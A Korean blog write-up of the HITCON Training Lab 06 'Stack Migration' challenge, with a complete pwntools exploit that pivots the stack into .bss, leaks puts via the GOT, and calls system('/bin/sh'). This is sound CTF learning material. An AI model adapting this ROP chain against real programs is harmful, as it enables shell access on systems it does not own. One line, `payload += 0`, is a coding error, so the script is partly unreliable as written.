Sqix

Hitcon Training - Lab 06 : Stack Migration 본문

Wargame/HITCON Training

Hitcon Training - Lab 06 : Stack Migration

Sqix_ow 2019. 9. 24. 21:23

보호기법에 Full RELRO, NX가 켜져 있네요. .got부분이 READ ONLY가 되고, NX로 인해서 실행공간이 제약됩니다.

 

Main 부분을 봅시다.

 

0x804a008(0x539)와 eax를 비교해서 값이 다르다면 exit(1)을 호출해 주네요. 이후 eax값을 1 증가시켜줍니다.

 

setvbuf(stdout, 0, 2, 0)을 호출해서 stdout을 line 단위로 취급하도록 합니다.

 

이후 puts("Try your best :");를 호출하고, read(0, buf, 0x40); 을 호출하고 메인을 종료합니다.

 

여기서 buf 크기는 0x28인데 들어오는 최대 입력은 0x40이므로 24바이트의 오버플로우가 일어날 수 있습니다.

 

보호기법과 취약점에서 나온 정보를 종합해 보면, ROP를 사용해야 하는데, 24바이트는 너무 적습니다.

 

24바이트만으로는 exploit이 불가능하니, 다른 공간에 payload를 입력하도록 해야 할 것 같습니다.

 

이제 어떠한 식으로 exploit을 할 지 생각해 봅시다. (의식의 흐름 주의)

 

스택은 [ buf 40 ] - [ SFP ] - [ RET ] - ... 로 구성되어 있습니다. 여기서 24bytes를 overflow 할 수 있습니다.

 

하지만 충분한 공간이 아니라서, stack pivot 기법을 이용해서 chaining을 해야 할 것 같습니다.

 

어떻게 chaining을 할 지부터 생각을 해 보고 필요한 것들을 구해 봅시다.

 

1. RET 주소에 read를 넣고, param으로 0, fake stack, 0x100을 넣는다. fake stack은 페이징 단위로 bss+@를 정한다.

2. SFP에 넣을 leave_ret 가젯을 구한다.

3. fake stack에서 쓸 read, system 함수와 /bin/sh의 주소를 leak을 해야 한다.

-> 저는 puts를 기준삼아 offset을 구해보도록 하겠습니다. 그리고 puts를 leak하겠습니다.

4. fake stack 역시 스택처럼 SFP, RET 부분이 있을 테니, 해당 부분을 이용해서 쉘코드를 담을 새 fake stack을 만듭니다.

5. 새 fake stack에는 shellcode를 담습니다. shellcode를 담고 ret부를 shellcode 시작하는 곳으로 지정합니다.

 

그럼 우리가 구해야 할 것은

 

1. .bss의 주소 (fake stack 1, 2의 주소로 .bss + 0x600, .bss + 0x700을 이용해 보겠습니다.)

2. leave_ret gadget

3. read, system, /bin/sh의 offset (puts를 이용해서 구하겠습니다)

 

정도가 되겠군요.

 

1. fakestack을 넣을 공간

payload를 넣을 만한 공간은 0x804a000 ~ 0x804b000이네요. 

 

위에서 언급했다시피 .bss + 0x600, .bss + 0x700을 사용해 봅시다. 

 

2. leave_ret(fake stack), pop-return(puts) gadget

 

0x8048504를 leave_ret gadget으로 사용하겠습니다.

 

0x804836d를 pop-ret gadget으로 사용하겠습니다.

 

3. 함수의 주소와 offset 구하기

 

puts@got : 0x8049ff0
read@got : 0x8049fe8

puts@plt : 0x8048390

puts@got : 0x8049ff0

read@plt : 0x8048380

read@got : 0x8049fe8

 

puts - system : 0x2A650

/bin/sh - puts : 0x11456F

 

from pwn import *

context.log_level = 'debug'

p = process('./migration')
p.recv()

puts_plt = 0x8048390
puts_got = 0x8049ff0
read_plt = 0x8048380
read_got = 0x8049fe8

stack1_addr = 0x804a600
stack2_addr = 0x804a700

system_offset = 0x2a650
binsh_offset = 0x11456f

leave_ret = 0x8048504
pop_ret = 0x804836d

 

이제 payload를 짜 봅시다.

 

우선 ret를 덮기 위해 A를 40개 넣어 줍시다. SFP에는 fakestack 주소(.bss + 600부분)를 넣고, ret에 read를 넣습니다.

 

돌아갈 주소에는 leave_ret을 넣고, read의 인자로 0,fakestack 주소, 0x100을 넣어 스택에 값을 쓸 수 있도록 합니다.

 

leave_ret을 넣어줌으로써 fakestack이 다음 이동한 주소에서 사용할 스택이 됩니다.

 

이를 send하면 fakestack에 값을 입력할 수 있습니다.

 

payload = 'A' * 40
payload += p32(stack1_addr)
payload += p32(read_plt)
payload += p32(leave_ret)
payload += 0
payload += p32(stack1_addr)
payload += p32(0x100)

p.send(payload)

 

이번에 넘어온 fakestack에서는 puts_got를 이용해서 puts의 실제 주소를 leak합니다. 

 

스택 구성은 다음과 같이 하겠습니다.

 

[ next fakestack ] - [ puts_plt ] - [ pop_ret ] - [ &puts_got ] - [ read_plt ] - [ leave_ret ] - 0 - [ next_fakestack ] - 0x100

 

앞의 puts 함수를 이용해서 puts의 실제 주소를 leak합니다.

 

이는 출력으로 나오기 때문에 따로 저장을 해 줘야 합니다.

 

이후 read를 이용해 다음 fakestack에 exploit code를 입력하고 그쪽으로 넘어갈 수 있도록 합니다.

 

payload = p32(stack2_addr)
payload += p32(puts_plt)
payload += p32(pop_ret)
payload += p32(puts_got)
payload += p32(read_plt)
payload += p32(leave_ret)
payload += p32(0)
payload += p32(stack2_addr)
payload += p32(0x100)

p.send(payload)

puts = u32(p.recv(4))

system = puts - system_offset
binsh = binsh_offset + puts

이후 스택에서는 system("/bin/sh")를 실행합니다.

 

payload = 'A' * 4
payload += p32(system)
payload += 'A' * 4
payload += p32(binsh)

p.send(payload)

p.interactive()

 

 

Comments